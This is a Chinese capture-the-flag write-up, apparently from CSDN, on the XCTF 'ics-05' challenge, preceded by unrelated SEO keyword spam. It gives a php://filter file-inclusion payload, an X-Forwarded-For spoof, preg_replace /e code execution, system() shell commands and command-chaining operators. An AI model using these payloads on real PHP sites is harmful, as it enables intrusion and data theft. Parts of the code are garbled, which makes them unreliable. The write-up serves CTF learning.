手机wap网站cms源码,crm客户管理系统下载,广告公司名称怎么取好,厦门网站公司ics-05 隐藏的变量传参#xff0c;php弱类型比较 只有设备维护中心可以点击进去 查看源码#xff0c;发现有个隐藏的超链接变量传参 看到变量传参#xff0c;有可能存在文件包含漏洞读取源码#xff0c;这个站是php的站#xff0c;所以可以使用php伪协议读取源码
index.p…ics-05 隐藏的变量传参php弱类型比较 只有设备维护中心可以点击进去 查看源码发现有个隐藏的超链接变量传参 看到变量传参有可能存在文件包含漏洞读取源码这个站是php的站所以可以使用php伪协议读取源码
index.php?pagephp://filter/readconvert.base64-encode/resourceindex.phpbase解码可以看到漏洞点在这里
?php
//方便的实现输入输出的功能,正在开发中的功能只能内部人员测试if ($_SERVER[HTTP_X_FORWARDED_FOR] 127.0.0.1) {echo br Welcome My Admin ! br ;$pattern $_GET[pat];$replacement $_GET[rep];$subject $_GET[sub];if (isset($pattern) isset($replacement) isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}}
?分析一下传入了三个变量pat,rep,sub
preg_replace:执行一个正则表达式的搜索和替换
● pattern 要搜索的模式。可以是一个字符串或字符串数组。
● replacement 用于替换的字符串或字符串数组。如果这个参数是一个字符串并且 pattern 是一个数组那么所有的模式都使用这个字符串进行替换。
● subject要进行搜索和替换的字符串或字符串数组。
● limit 每个模式在每个 subject 上进行替换的最大次数。默认是 -1(无限)。
● count 如果指定将会被填充为完成的替换次数。找到这个函数存在的漏洞就是当$pattern使用了/e修正符的时候替换的时候会将$replacement替换进去的代码当成php执行所以先抓包添加一个X-Forwarded-For头 接着查看可疑文件用%20代替空格 %26代替,%20和%26是它们的url编码
命令联合执行
; 前面的执行完执行后面的
| 管道符上一条命令的输出作为下一条命令的参数显示后面的执行结果
|| 当前面的执行出错时为假执行后面的将任务置于后台执行前面的语句为假则直接出错后面的也不执行前面只能为真
%0a 换行
%0d 回车
system(ls%20s3chahahaDir)
system(cd%20s3chahahaDir%26%26ls)继续查看文件内容
system(ls%20s3chahahaDir/flag)
system(cd%20s3chahahaDir/flag)拿到flag
system(cat%20s3chahahaDir/flag/flag.php)
system(cd%20s3chahahaDir/flag%26%26cat%20flag.php)攻防世界XCTFics-05_xctf-insc05-CSDN博客